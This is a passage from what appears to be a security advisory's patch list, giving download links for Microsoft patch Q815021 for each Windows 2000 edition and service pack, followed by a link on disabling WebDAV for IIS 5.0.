http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Advanced Server SP3: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Terminal Services SP3: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Datacenter Server SP3: Microsoft Windows 2000 Advanced Server SP2: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Datacenter Server SP2: Microsoft Windows 2000 Professional SP2: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Server SP2: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Terminal Services SP2: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Terminal Services SP1: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Server SP1: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Professional SP1: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Advanced Server SP1: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Datacenter Server SP1: Microsoft Windows 2000 Server : Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Advanced Server : Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Professional : Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Terminal Services : Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja 相关信息 How to Disable WebDAV for IIS 5.0 http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B241520 |